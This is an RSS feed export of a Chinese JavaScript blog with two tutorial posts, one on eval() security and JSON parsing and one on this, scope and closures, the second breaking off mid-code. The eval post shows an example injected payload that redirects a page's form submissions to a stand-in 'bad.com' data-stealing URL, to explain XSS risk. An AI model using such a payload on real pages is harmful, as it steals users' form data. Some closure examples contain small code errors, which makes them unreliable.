<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>iokay</title>
	<atom:link href="http://www.iokay.net/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.iokay.net</link>
	<description></description>
	<lastBuildDate>Sat, 13 Nov 2010 14:23:13 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
		<item>
		<title>JavaScript中eval()函数的一些问题</title>
		<link>http://www.iokay.net/web/javascript-web-2/function-eval-secure-and-capability/</link>
		<comments>http://www.iokay.net/web/javascript-web-2/function-eval-secure-and-capability/#comments</comments>
		<pubDate>Wed, 29 Sep 2010 11:22:59 +0000</pubDate>
		<dc:creator>controlsea</dc:creator>
				<category><![CDATA[JavaScript]]></category>
		<category><![CDATA[eval]]></category>
		<category><![CDATA[Javascript]]></category>

		<guid isPermaLink="false">http://www.iokay.net/?p=195</guid>
		<description><![CDATA[首先先来简单介绍一下eval()的用法，它还是比较容易理解的，相信很多朋友都已经熟悉。eval函数接收一个参数s，如果s不是字符串，则直接返回s。否则执行s语句。如果s语句执行结果是一个值，则返回此值，否则返回undefined。 另外，因此自己在项目实践过程中，因为解析JSON格式数据的时候，发现对于对象声明语法“{}”的并不能返回一个值，需要用括号括起来才会返回值。 例如： var oo=&#39;&#34;abc&#34; + 123&#39;; var xx=&#39;{a:123}&#39;; alert&#40;eval&#40;oo&#41;&#41;; &#160; &#160; //abc123 alert&#40;eval&#40;xx&#41;&#41;; &#160; &#160; //undefined alert&#40;eval&#40;&#39;(&#39; + xx + &#39;)&#39;&#41;&#41;; &#160; &#160;//object对象 因此，在获取Json字符串的时候如果要将其解析为对象，必须用括号括住，才能将其转换为表达式，并返回其值。 不过，eval同时也存在很大的问题，首先，它可以用来解析任javascrtipt代码，不仅仅是json数据，因此就存在一个很大的安全隐患。有些人可以注入一些与预期的json数据结构相符的JavaScript代码，而该代码传入eval()之后就可以被执行。如下面的一个例子： &#91;1, 2, &#40;function&#40;&#41;&#123;document.forms&#91;0&#93;.action = &#34;http://to.a.bad.com/stealdata.php&#34;&#125;&#41;&#40;&#41;, 3, 4&#93; 这个例子中，由于响应的文本包含一个匿名函数，这个函数会修改页面中的第一个表单的action特性，导致表单在提交时，所有数据都会被提及给一个不同的服务器。因此，如果不对json数据进行过滤就直接将其传递给eval()的情况下，很有可能受到XSS攻击。因为服务器返回的任何javascript代码在传递给eval()之后，都会在页面的上下文中求值，它就可以像类成员一样运行，对页面中的数据进行操纵。 因此，我们应该避免将服务器返回的javascript函数传入eval()函数中，比如，我们要对json字符串进行解析，可以使用javascript json 库来进行解析，这样我们能保证在将JSON转换为javascript对象的同时过滤掉其中包含的恶意代码。 首先，我们可以先监测浏览器是否支持json库函数 if &#40;typeof&#40;JSON&#41; === &#39;object&#39;&#41; &#123; &#160;//如果成功，表示该对象存在 &#125; if &#40;typeof&#40;JSON.parse&#41; === &#39;function&#39;&#41; &#123; &#160; // //如果成功，表示该处理函数有效 &#125; 我们最好可以双重监测以确保万无一失。 [...]]]></description>
			<content:encoded><![CDATA[<p>首先先来简单介绍一下<span class='wp_keywordlink_affiliate'><a href="http://www.iokay.net/tag/eval/" title="查看 eval 中的全部文章" target="_blank">eval</a></span>()的用法，它还是比较容易理解的，相信很多朋友都已经熟悉。<span class='wp_keywordlink_affiliate'><a href="http://www.iokay.net/tag/eval/" title="查看 eval 中的全部文章" target="_blank">eval</a></span>函数接收一个参数s，如果s不是字符串，则直接返回s。否则执行s语句。如果s语句执行结果是一个值，则返回此值，否则返回undefined。</p>
<p>另外，因此自己在项目实践过程中，因为解析JSON格式数据的时候，发现对于对象声明语法“{}”的并不能返回一个值，需要用括号括起来才会返回值。<br />
例如：</p>
<div class="geshi no javascript">
<ol>
<li class="li1">
<div class="de1"><span class="kw2">var</span> oo=<span class="st0">&#39;&quot;abc&quot; + 123&#39;</span>;</div>
</li>
<li class="li1">
<div class="de1"><span class="kw2">var</span> xx=<span class="st0">&#39;{a:123}&#39;</span>;</div>
</li>
<li class="li1">
<div class="de1"><span class="kw3">alert</span><span class="br0">&#40;</span><span class="kw1"><span class='wp_keywordlink_affiliate'><a href="http://www.iokay.net/tag/eval/" title="查看 eval 中的全部文章" target="_blank">eval</a></span></span><span class="br0">&#40;</span>oo<span class="br0">&#41;</span><span class="br0">&#41;</span>; &nbsp; &nbsp; <span class="co1">//abc123</span></div>
</li>
<li class="li1">
<div class="de1"><span class="kw3">alert</span><span class="br0">&#40;</span><span class="kw1">eval</span><span class="br0">&#40;</span>xx<span class="br0">&#41;</span><span class="br0">&#41;</span>; &nbsp; &nbsp; <span class="co1">//undefined</span></div>
</li>
<li class="li1">
<div class="de1"><span class="kw3">alert</span><span class="br0">&#40;</span><span class="kw1">eval</span><span class="br0">&#40;</span><span class="st0">&#39;(&#39;</span> + xx + <span class="st0">&#39;)&#39;</span><span class="br0">&#41;</span><span class="br0">&#41;</span>; &nbsp; &nbsp;<span class="co1">//object对象</span></div>
</li>
</ol>
</div>
<p>因此，在获取Json字符串的时候如果要将其解析为对象，必须用括号括住，才能将其转换为表达式，并返回其值。</p>
<p><span id="more-195"></span></p>
<p>不过，eval同时也存在很大的问题，首先，它可以用来解析任javascrtipt代码，不仅仅是json数据，因此就存在一个很大的安全隐患。有些人可以注入一些与预期的json数据结构相符的JavaScript代码，而该代码传入eval()之后就可以被执行。如下面的一个例子：</p>
<div class="geshi no javascript">
<ol>
<li class="li1">
<div class="de1"><span class="br0">&#91;</span><span class="nu0">1</span>, <span class="nu0">2</span>, <span class="br0">&#40;</span><span class="kw2">function</span><span class="br0">&#40;</span><span class="br0">&#41;</span><span class="br0">&#123;</span>document.<span class="me1">forms</span><span class="br0">&#91;</span><span class="nu0">0</span><span class="br0">&#93;</span>.<span class="me1">action</span> = <span class="st0">&quot;http://to.a.bad.com/stealdata.php&quot;</span><span class="br0">&#125;</span><span class="br0">&#41;</span><span class="br0">&#40;</span><span class="br0">&#41;</span>, <span class="nu0">3</span>, <span class="nu0">4</span><span class="br0">&#93;</span></div>
</li>
</ol>
</div>
<p>这个例子中，由于响应的文本包含一个匿名函数，这个函数会修改页面中的第一个表单的action特性，导致表单在提交时，所有数据都会被提及给一个不同的服务器。因此，如果不对json数据进行过滤就直接将其传递给eval()的情况下，很有可能受到XSS攻击。因为服务器返回的任何javascript代码在传递给eval()之后，都会在页面的上下文中求值，它就可以像类成员一样运行，对页面中的数据进行操纵。</p>
<p>因此，我们应该避免将服务器返回的javascript函数传入eval()函数中，比如，我们要对json字符串进行解析，可以使用javascript json 库来进行解析，这样我们能保证在将JSON转换为javascript对象的同时过滤掉其中包含的恶意代码。<br />
首先，我们可以先监测浏览器是否支持json库函数</p>
<div class="geshi no javascript">
<ol>
<li class="li1">
<div class="de1"><span class="kw1">if</span> <span class="br0">&#40;</span><span class="kw1">typeof</span><span class="br0">&#40;</span>JSON<span class="br0">&#41;</span> === <span class="st0">&#39;object&#39;</span><span class="br0">&#41;</span> <span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;<span class="co1">//如果成功，表示该对象存在</span></div>
</li>
<li class="li1">
<div class="de1"><span class="br0">&#125;</span></div>
</li>
</ol>
</div>
<div class="geshi no javascript">
<ol>
<li class="li1">
<div class="de1"><span class="kw1">if</span> <span class="br0">&#40;</span><span class="kw1">typeof</span><span class="br0">&#40;</span>JSON.<span class="me1">parse</span><span class="br0">&#41;</span> === <span class="st0">&#39;function&#39;</span><span class="br0">&#41;</span> <span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; <span class="co1">// //如果成功，表示该处理函数有效</span></div>
</li>
<li class="li1">
<div class="de1"><span class="br0">&#125;</span></div>
</li>
</ol>
</div>
<p>我们最好可以双重监测以确保万无一失。</p>
<div class="geshi no javascript">
<ol>
<li class="li1">
<div class="de1"><span class="kw1">if</span> <span class="br0">&#40;</span><span class="kw1">typeof</span><span class="br0">&#40;</span>JSON<span class="br0">&#41;</span> === <span class="st0">&#39;object&#39;</span> <span class="sy0">&amp;</span>amp;<span class="sy0">&amp;</span>amp;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="kw1">typeof</span><span class="br0">&#40;</span>JSON.<span class="me1">parse</span><span class="br0">&#41;</span> === <span class="st0">&#39;function&#39;</span><span class="br0">&#41;</span> <span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp;<span class="co1">//…………</span></div>
</li>
<li class="li1">
<div class="de1"><span class="br0">&#125;</span></div>
</li>
</ol>
</div>
<p>监测过之后，我们就能放心的使用该函数处理json字符串了。在此顺便提一下YUI库的处理方式，实现起来同样比较简单。</p>
<div class="geshi no javascript">
<ol>
<li class="li1">
<div class="de1"><span class="co1">//引入库的核心文件</span></div>
</li>
<li class="li1">
<div class="de1"><span class="sy0">&lt;</span>script src=<span class="st0">&quot;http://yui.yahooapis.com/2.8.1/build/yahoo/yahoo-min.js&quot;</span><span class="sy0">&gt;&lt;!</span>&#8211;mce:<span class="nu0">0</span>&#8211;<span class="sy0">&gt;&lt;/</span>script<span class="sy0">&gt;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1"><span class="sy0">&lt;</span>script src=<span class="st0">&quot;http://yui.yahooapis.com/2.8.1/build/json/json-min.js&quot;</span><span class="sy0">&gt;&lt;!</span>&#8211;mce:<span class="nu0">1</span>&#8211;<span class="sy0">&gt;&lt;/</span>script<span class="sy0">&gt;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1"><span class="kw2">var</span> jsonString = <span class="st0">&#39;{&quot;aa&quot;:1234,&quot;bb&quot;:567}&#39;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="kw2">var</span> oo = YAHOO.<span class="me1">lang</span>.<span class="me1">JSON</span>.<span class="me1">parse</span><span class="br0">&#40;</span>jsonString<span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="co1">// 处理过后，接着我们就可以直接对对象的数据进行操控了</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span>oo.<span class="me1">bb</span> <span class="sy0">&amp;</span>lt; <span class="nu0">25</span><span class="br0">&#41;</span> <span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; …………</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="br0">&#125;</span></div>
</li>
<li class="li1">
<div class="de1"><span class="br0">&#125;</span></div>
</li>
</ol>
</div>
]]></content:encoded>
			<wfw:commentRss>http://www.iokay.net/web/javascript-web-2/function-eval-secure-and-capability/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>This.作用域.闭包</title>
		<link>http://www.iokay.net/web/javascript-web-2/this-scope-closure/</link>
		<comments>http://www.iokay.net/web/javascript-web-2/this-scope-closure/#comments</comments>
		<pubDate>Sat, 25 Sep 2010 13:56:32 +0000</pubDate>
		<dc:creator>controlsea</dc:creator>
				<category><![CDATA[JavaScript]]></category>
		<category><![CDATA[Closure]]></category>
		<category><![CDATA[Javascript]]></category>
		<category><![CDATA[Scope]]></category>
		<category><![CDATA[This]]></category>

		<guid isPermaLink="false">http://www.iokay.net/?p=184</guid>
		<description><![CDATA[JavaScript是个有点神奇的语言，不过它的一些独有的特性往往让我们初学者感到费解。This是Javascript语言的一个关键词。不过它到底是指什么呢？很多人都会认为this指的是当前对象。当然，这样理解是没错的，但是在有些情况下仍然会有些问题。在此，我搜集了一些资料，重新学习并整理一下，希望能借此来更好的理解this在JS中的工作方式和使用方法。 var test = function&#40;&#41;&#123; &#160; &#160; &#160;alert&#40;this&#41;; &#125; test&#40;&#41;; new test&#40;&#41;; 运行以上代码，你会发现test()和new test()的运行结果是不一样的，test()指向的是Windows对象而new test()才是指向test对象，为什么会有两种不同的运行结果？其实这里就涉及到一个变量作用域的问题，而变量作用域同时又牵涉到闭包（Closure）这个JS特性了，正因为闭包的存在，理解变量作用域就显得非常重要。 关于变量作用域 接着先来介绍一下所谓的变量作用域，概念非常简单，每个变量都有自己的作用域，即变量在这么一个区域中可以被识别，而出了此区域就没有任何作用了。作用域就两种：全局作用域和局部作用域。 全局变量在JavaScript中处处都有定义，它贯穿在一个全局对象中，因此可以在任何地方使用。而局部变量则只在一个函数中有定义。其中要注意到的一点就是:JavaScript无块级作用域，这有别于C++和Java。因此任何变量在定义它的整个函数体中都能被识别。 var a=123; function fun1&#40;&#41;&#123; 　　　　alert&#40;a&#41;; 　　&#125; &#160; fun1&#40;&#41;; // 123 很简单，函数内部可以直接读取全局变量； function fun2&#40;&#41;&#123; 　var a=123; &#125; &#160; alert&#40;a&#41;; // error 在函数外部当然无法读取函数内的局部变量。 var s=&#34;oo&#34;; &#160; function fun3&#40;&#41;&#123; &#160;alert&#40;s&#41;; // undefined &#160; &#160;var s =&#34;xx&#34;; &#160; &#160;alert&#40;s&#41;; // xx [...]]]></description>
			<content:encoded><![CDATA[<pre><img src="http://www.iokay.net/mypic/ppk.jpg" alt="ppk on javascript" /></pre>
<p>JavaScript是个有点神奇的语言，不过它的一些独有的特性往往让我们初学者感到费解。<span class='wp_keywordlink_affiliate'><a href="http://www.iokay.net/tag/this/" title="查看 This 中的全部文章" target="_blank">This</a></span>是<span class='wp_keywordlink_affiliate'><a href="http://www.iokay.net/tag/javascript/" title="查看 Javascript 中的全部文章" target="_blank">Javascript</a></span>语言的一个关键词。不过它到底是指什么呢？很多人都会认为this指的是当前对象。当然，这样理解是没错的，但是在有些情况下仍然会有些问题。在此，我搜集了一些资料，重新学习并整理一下，希望能借此来更好的理解this在JS中的工作方式和使用方法。</p>
<div class="geshi no javascript">
<ol>
<li class="li1">
<div class="de1"><span class="kw2">var</span> test = <span class="kw2">function</span><span class="br0">&#40;</span><span class="br0">&#41;</span><span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp;<span class="kw3">alert</span><span class="br0">&#40;</span><span class="kw1">this</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1"><span class="br0">&#125;</span></div>
</li>
<li class="li1">
<div class="de1">test<span class="br0">&#40;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1"><span class="kw2">new</span> test<span class="br0">&#40;</span><span class="br0">&#41;</span>;</div>
</li>
</ol>
</div>
<p>运行以上代码，你会发现test()和new test()的运行结果是不一样的，test()指向的是Windows对象而new test()才是指向test对象，为什么会有两种不同的运行结果？其实这里就涉及到一个变量作用域的问题，而变量作用域同时又牵涉到闭包（<span class='wp_keywordlink_affiliate'><a href="http://www.iokay.net/tag/closure/" title="查看 Closure 中的全部文章" target="_blank">Closure</a></span>）这个JS特性了，正因为闭包的存在，理解变量作用域就显得非常重要。<span id="more-184"></span></p>
<h2>关于变量作用域</h2>
<p>接着先来介绍一下所谓的变量作用域，概念非常简单，每个变量都有自己的作用域，即变量在这么一个区域中可以被识别，而出了此区域就没有任何作用了。作用域就两种：全局作用域和局部作用域。<br />
全局变量在JavaScript中处处都有定义，它贯穿在一个全局对象中，因此可以在任何地方使用。而局部变量则只在一个函数中有定义。其中要注意到的一点就是:JavaScript无块级作用域，这有别于C++和Java。因此任何变量在定义它的整个函数体中都能被识别。</p>
<div class="geshi no javascript">
<ol>
<li class="li1">
<div class="de1"><span class="kw2">var</span> a=<span class="nu0">123</span>;</div>
</li>
<li class="li1">
<div class="de1"><span class="kw2">function</span> fun1<span class="br0">&#40;</span><span class="br0">&#41;</span><span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1">　　　　<span class="kw3">alert</span><span class="br0">&#40;</span>a<span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">　　<span class="br0">&#125;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1">fun1<span class="br0">&#40;</span><span class="br0">&#41;</span>; <span class="co1">// 123</span></div>
</li>
</ol>
</div>
<p>很简单，函数内部可以直接读取全局变量；</p>
<div class="geshi no javascript">
<ol>
<li class="li1">
<div class="de1"><span class="kw2">function</span> fun2<span class="br0">&#40;</span><span class="br0">&#41;</span><span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1">　<span class="kw2">var</span> a=<span class="nu0">123</span>;</div>
</li>
<li class="li1">
<div class="de1"><span class="br0">&#125;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1"><span class="kw3">alert</span><span class="br0">&#40;</span>a<span class="br0">&#41;</span>; <span class="co1">// error</span></div>
</li>
</ol>
</div>
<p>在函数外部当然无法读取函数内的局部变量。</p>
<div class="geshi no javascript">
<ol>
<li class="li1">
<div class="de1"><span class="kw2">var</span> s=<span class="st0">&quot;oo&quot;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1"><span class="kw2">function</span> fun3<span class="br0">&#40;</span><span class="br0">&#41;</span><span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;<span class="kw3">alert</span><span class="br0">&#40;</span>s<span class="br0">&#41;</span>; <span class="co1">// undefined</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1">&nbsp;<span class="kw2">var</span> s =<span class="st0">&quot;xx&quot;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1">&nbsp;<span class="kw3">alert</span><span class="br0">&#40;</span>s<span class="br0">&#41;</span>; <span class="co1">// xx 因为javascript无块级作用域,s在此被初始化,整个函数中都有定义</span></div>
</li>
<li class="li1">
<div class="de1"><span class="br0">&#125;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1">fun3<span class="br0">&#40;</span><span class="br0">&#41;</span>;</div>
</li>
</ol>
</div>
<p>以上代码其实就相当于</p>
<div class="geshi no javascript">
<ol>
<li class="li1">
<div class="de1"><span class="kw2">function</span> fun3<span class="br0">&#40;</span><span class="br0">&#41;</span><span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;<span class="kw2">var</span> s;</div>
</li>
<li class="li1">
<div class="de1">&nbsp;<span class="kw3">alert</span><span class="br0">&#40;</span>s<span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1">&nbsp;s = <span class="st0">&quot;xx&quot;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp;<span class="kw3">alert</span><span class="br0">&#40;</span>s<span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1"><span class="br0">&#125;</span> &nbsp; &nbsp;</div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1">fun3<span class="br0">&#40;</span><span class="br0">&#41;</span>;</div>
</li>
</ol>
</div>
<p>另外大家要注意的一点就是，在函数内部声明变量的时候，如果不用var命令，这样其实就相当声明了一个全局变量。</p>
<h2>关于闭包</h2>
<p>了解过变量作用域之后，对于理解闭包就有很大的帮助了。当我们需要得到函数内的局部变量的时候，就需要在函数的内部再定义一个函数。</p>
<div class="geshi no javascript">
<ol>
<li class="li1">
<div class="de1"><span class="kw2">function</span> fun1<span class="br0">&#40;</span><span class="br0">&#41;</span><span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;<span class="kw2">var</span> a = <span class="nu0">123</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp;<span class="kw2">function</span> fun2<span class="br0">&#40;</span><span class="br0">&#41;</span><span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; <span class="kw3">alert</span><span class="br0">&#40;</span>a<span class="br0">&#41;</span>; <span class="co1">//123</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;<span class="br0">&#125;</span></div>
</li>
<li class="li1">
<div class="de1"><span class="br0">&#125;</span></div>
</li>
</ol>
</div>
<p>fun2可以访问fun1所有的局部变量，因此我们只要把fun2作为返回值，就可以在fun1外部读取到它的内部变量了。</p>
<div class="geshi no javascript">
<ol>
<li class="li1">
<div class="de1"><span class="kw2">function</span> fun1<span class="br0">&#40;</span><span class="br0">&#41;</span><span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;<span class="kw2">var</span> a = <span class="nu0">123</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp;<span class="kw2">function</span> fun2<span class="br0">&#40;</span><span class="br0">&#41;</span><span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; <span class="kw3">alert</span><span class="br0">&#40;</span>a<span class="br0">&#41;</span>; <span class="co1">//123</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;<span class="br0">&#125;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1">&nbsp;<span class="kw1">return</span> fun2;</div>
</li>
<li class="li1">
<div class="de1"><span class="br0">&#125;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1"><span class="kw2">var</span> result = fun2<span class="br0">&#40;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">result<span class="br0">&#40;</span><span class="br0">&#41;</span>;</div>
</li>
</ol>
</div>
<p>因此，有了闭包将联系函数内外联系起来，我们就可以从函数外读取到函数内部的变量了，另外由于JavaScript作用域的机制，闭包只能读取到包含函数中任何变量的最后一个值。<br />
这里引用一个例子：</p>
<div class="geshi no javascript">
<ol>
<li class="li1">
<div class="de1"><span class="kw2">function</span> createFunctions<span class="br0">&#40;</span><span class="br0">&#41;</span><span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;<span class="kw2">var</span> result = <span class="kw2">new</span> Array<span class="br0">&#40;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1">&nbsp;<span class="kw1">for</span> <span class="br0">&#40;</span><span class="kw2">var</span> i=<span class="nu0">0</span>; i <span class="sy0">&amp;</span>lt; <span class="nu0">10</span>; i++<span class="br0">&#41;</span><span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; result<span class="br0">&#91;</span>i<span class="br0">&#93;</span> = <span class="kw2">function</span><span class="br0">&#40;</span><span class="br0">&#41;</span><span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp;<span class="kw1">return</span> i;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; <span class="br0">&#125;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp;<span class="br0">&#125;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1">&nbsp;<span class="kw1">return</span> result;</div>
</li>
<li class="li1">
<div class="de1"><span class="br0">&#125;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1"><span class="kw2">var</span> funcs = createFunctions<span class="br0">&#40;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1"><span class="kw1">for</span><span class="br0">&#40;</span><span class="kw2">var</span> i=<span class="nu0">0</span>; i <span class="sy0">&amp;</span>lt; funcs.<span class="me1">length</span>; i++<span class="br0">&#41;</span><span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;<span class="kw3">alert</span><span class="br0">&#40;</span>funcs<span class="br0">&#91;</span>i<span class="br0">&#93;</span><span class="br0">&#40;</span><span class="br0">&#41;</span><span class="br0">&#41;</span>; &nbsp;<span class="co1">//每次都显示10</span></div>
</li>
<li class="li1">
<div class="de1"><span class="br0">&#125;</span></div>
</li>
</ol>
</div>
<p>因为每个函数作用域中都保存着createFunctions()函数的活动对象，所以它们引用的都是同一个变量i，当createFunctions()函数返回后，变量i的值是10，因此每个函数都引用着保存变量i的同一个变量对象，所以每个函数内部i的值都是10。我们要稍微改写一下函数，让它符合我们的预期要求。</p>
<div class="geshi no javascript">
<ol>
<li class="li1">
<div class="de1"><span class="kw2">function</span> createFunctions<span class="br0">&#40;</span><span class="br0">&#41;</span><span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;<span class="kw2">var</span> result = <span class="kw2">new</span> Array<span class="br0">&#40;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1">&nbsp;<span class="kw1">for</span> <span class="br0">&#40;</span><span class="kw2">var</span> i=<span class="nu0">0</span>; i <span class="sy0">&amp;</span>lt; <span class="nu0">10</span>; i++<span class="br0">&#41;</span><span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; result<span class="br0">&#91;</span>i<span class="br0">&#93;</span> = <span class="kw2">function</span><span class="br0">&#40;</span>num<span class="br0">&#41;</span><span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="kw1">return</span> num;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; <span class="br0">&#125;</span><span class="br0">&#40;</span>i<span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp;<span class="br0">&#125;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1">&nbsp;<span class="kw1">return</span> result;</div>
</li>
<li class="li1">
<div class="de1"><span class="br0">&#125;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1"><span class="kw2">var</span> funcs = createFunctions<span class="br0">&#40;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1"><span class="kw1">for</span><span class="br0">&#40;</span><span class="kw2">var</span> i=<span class="nu0">0</span>; i <span class="sy0">&amp;</span>lt; funcs.<span class="me1">length</span>; i++<span class="br0">&#41;</span><span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;<span class="kw3">alert</span><span class="br0">&#40;</span>funcs<span class="br0">&#91;</span>i<span class="br0">&#93;</span><span class="br0">&#41;</span>; &nbsp;<span class="co1">//每次都显示10</span></div>
</li>
<li class="li1">
<div class="de1"><span class="br0">&#125;</span></div>
</li>
</ol>
</div>
<p>这里，我们通过定义一个匿名函数，并立即执行该匿名函数的结果赋给数组，这里的匿名函数只有一个参数num，也就是最终要返回的值。在调用每个匿名函数时，我们传入了变量i，通过变量i的将当前值赋给参数num，这样就获得我们所要的结果。</p>
<p>清楚了作用域和闭包之后，对于this就能很快理解了。先来看下面这段代码：</p>
<div class="geshi no javascript">
<ol>
<li class="li1">
<div class="de1"><span class="kw2">function</span> test1<span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;<span class="kw1">this</span>.<span class="me1">x</span> = <span class="nu0">123</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp;<span class="kw3">alert</span><span class="br0">&#40;</span><span class="kw1">this</span>.<span class="me1">x</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1"><span class="br0">&#125;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1">test1<span class="br0">&#40;</span><span class="br0">&#41;</span>; <span class="co1">//123</span></div>
</li>
</ol>
</div>
<p>当前的this就是全局对象,稍作变化，效果一样。</p>
<div class="geshi no javascript">
<ol>
<li class="li1">
<div class="de1"><span class="kw2">var</span> x = <span class="nu0">1</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp;<span class="kw2">function</span> test<span class="br0">&#40;</span><span class="br0">&#41;</span><span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; 　<span class="kw1">this</span>.<span class="me1">x</span> = <span class="nu0">0</span>;</div>
</li>
<li class="li1">
<div class="de1"><span class="br0">&#125;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; <span class="kw3">alert</span><span class="br0">&#40;</span>x<span class="br0">&#41;</span>; <span class="co1">//1</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; test<span class="br0">&#40;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; <span class="kw3">alert</span><span class="br0">&#40;</span>x<span class="br0">&#41;</span>; <span class="co1">//0</span></div>
</li>
</ol>
</div>
<p>再看如下代码：</p>
<div class="geshi no javascript">
<ol>
<li class="li1">
<div class="de1"><span class="kw2">var</span> oo = <span class="kw2">new</span> Object;</div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
